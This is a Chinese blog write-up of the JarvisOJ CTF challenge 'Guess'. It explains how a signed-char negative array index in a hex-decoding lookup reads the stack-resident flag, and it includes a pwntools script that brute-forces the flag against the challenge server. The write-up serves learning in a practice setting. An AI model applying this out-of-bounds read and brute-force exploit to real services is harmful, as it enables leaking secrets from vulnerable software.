zoukankan      html  css  js  c++  java
  • JarvisOJ | Guess (带技巧的exp爆破)

    这道题对我来说还是挺难的,做了很久很久吧,差点砸电脑,还好最后AC了,现记录一下过程。

    附件下载

    反汇编分析

    查一下保护机制,只开了 NX

    main() 函数里是 socket 网络编程的内容,看起来不太需要分析,于是进入其调用的 handle() 函数

    逻辑似乎和逆向题差不多,每次输入一个字符串后用函数 is_flag_correct() 判断是否正确

    进入 is_flag_correct() 函数

    首先看到我们输入的字符串是 flag_hex ,这个命名已经提示我们输入的是 flag 字符的十六进制串(然鹅我开始并没有意识到)

    同时限制了输入串的长度必须为 100 ,即 flag 串长度的两倍

    for ( i_0 = 0; i_0 <= 49; ++i_0 )
       diff |= flag[i_0] ^ given_flag[i_0];
    return diff == 0;
    

    最后的这段代码是判断 flag 和 given_flag(程序计算出的)是否相等,并返回结果

    而 flag 串的明文在栈内存中会出现,但我们用 IDA 看到的是假的,需要想办法在线获取

    发现这题无法用之前常用的缓存区溢出漏洞来实现 pwn(保护白关了)

    关键代码

    考虑有没有泄露内存的方法,于是再分析一下代码

    for ( i = 0; i <= 49; ++i ) {
          value1 = bin_by_hex[flag_hex[2 * i]];
          value2 = bin_by_hex[flag_hex[2 * i + 1]];
          given_flag[i] = value2 | 16 * value1;
    }
    

    这几句看起来比较关键,一个个数组来看

    flag_hex[] 是我们输入的,bin_by_hex[] 是数据段内存 unk_401100 拷贝过来的

    而 given_flag[] 的计算过程其实就是把 value1 当作十六进制字符首位,value2 为末位,计算一个 ASCALL 值,即:

    given_flag[i] = (char)(value1 * 16 + value2)
    

    这要求了 (char)value1/2 的真实值范围是 0~15,其依赖于 bin_by_hex[] 数组的寻址

    而 bin_by_hex[] 里面的数据比较有意思

    发现除了偏移量为 48-57,65-90,97-122 的字节的真实值为 0-15 外,其他都是 0xFF(-1)

    若把以上三个范围的偏移量作为 ASCALL 值,则分别代表了数字、大写字母、小写字母

    所以源程序的逻辑就理清了,如下:

    ((1)) 输入 flag 的十六进制字符串

    ((2)) 每次取两位计算一位字符(利用 bin_by_hex 数组寻址)

    ((3)) 与真实 flag 校验

    那我们应该如何利用这一过程获取栈空间中的 flag 呢?其实还要通过 bin_by_hex 寻址的过程

    漏洞利用

    显然 flag_hex[] 是受我们控制的,如果我们令它为负数,就可以访问到 bin_by_hex[0] 往上的栈空间

    再来看一手栈布局

    bin_by_hex[] 往上就是 flag[] 了,这样只要让 flag_hex[2 * i + 1] 取一个负值,就可以让 value2[i] 成为 flag 串的一个字节

    这种操作有点奇怪,因为 flag_hex 毕竟是个 char 数组,但试验后发现用 char 作下标时会转化成带符号的 int8 类型,0xFF -> -1

    至于 value1 在写 payload 时让它为 0 就好了,最后计算出的 give_flag[i] 就是 flag[i] 了

    如此操作 50 次,就通过了校验,此时我们一个得到了一个通用 payload,但 flag 明文依然不知道,于是考虑进行逐位爆破

    爆破操作

    爆破的大致思路是在通用 payload(在下面代码中为 leak)的基础上进行两位两位的修改,

    枚举可能出现的字符 [0-9a-z],把原先的用于泄露的双字节改成真实字符的 ASCALL 值的十六进制表示的字符

    比如枚举到 'a' 时,'a' 的 ASCALL 值为 97,十六进制为 0x61,就把 payload[i * 2] 改为 '6',payload[i * 2 + 1] 改为 '1'

    如果正好找到了当前双字节的原本值,就会在 send 之后接受到成功信息:Yaaaay,把当前双字节加入答案串中

    对于每个双字节都如此操作,就可以逐位爆破出全部的答案串,注意下格式是 PCTF{}

    代码如下

    from pwn import *
    io = remote('pwn.jarvisoj.com', '9878')
    #io = process('./source')
    
    #context(log_level = 'debug')
    List = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
    leak = []
    for i in range(50):
    	leak.append('0')
    	leak.append(chr(128 + 0x40 + i))
    
    flag = 'PCTF{'
    for i in range(5, 50):
    	for j in List:
    		io.recvuntil('>')
    		#print 'i = ', i, 'j =', j
    		#print ord(j)
    		payload = leak
    		# '0' -> '0x30'
    	
    		payload[i*2] = hex(ord(j))[2]
    		payload[i*2+1] = hex(ord(j))[3]
    		#print bytes(''.join(payload))
    		#print ''.join(payload)
    		io.sendline(''.join(payload))
    		re = io.recvline()
    		#print re
    		if re.count('Yaaaay'):
    			flag += j
    			break
    flag += '}'
    print flag
    io.interactive()
    
    
  • 相关阅读:
    MVC,MVP和MVVM的区别
    将数组里某个属性相同的对象合并成一个数组
    Ajax的理解
    VUE如何关闭Eslint的方法
    数组去重
    vue-router传递参数的几种方式
    密码的显示和隐藏
    "校园易借查询"选题报告
    我的第一个微信好友分析
    数据库实践
  • 原文地址:https://www.cnblogs.com/zhwer/p/12884433.html
Copyright © 2011-2022 走看看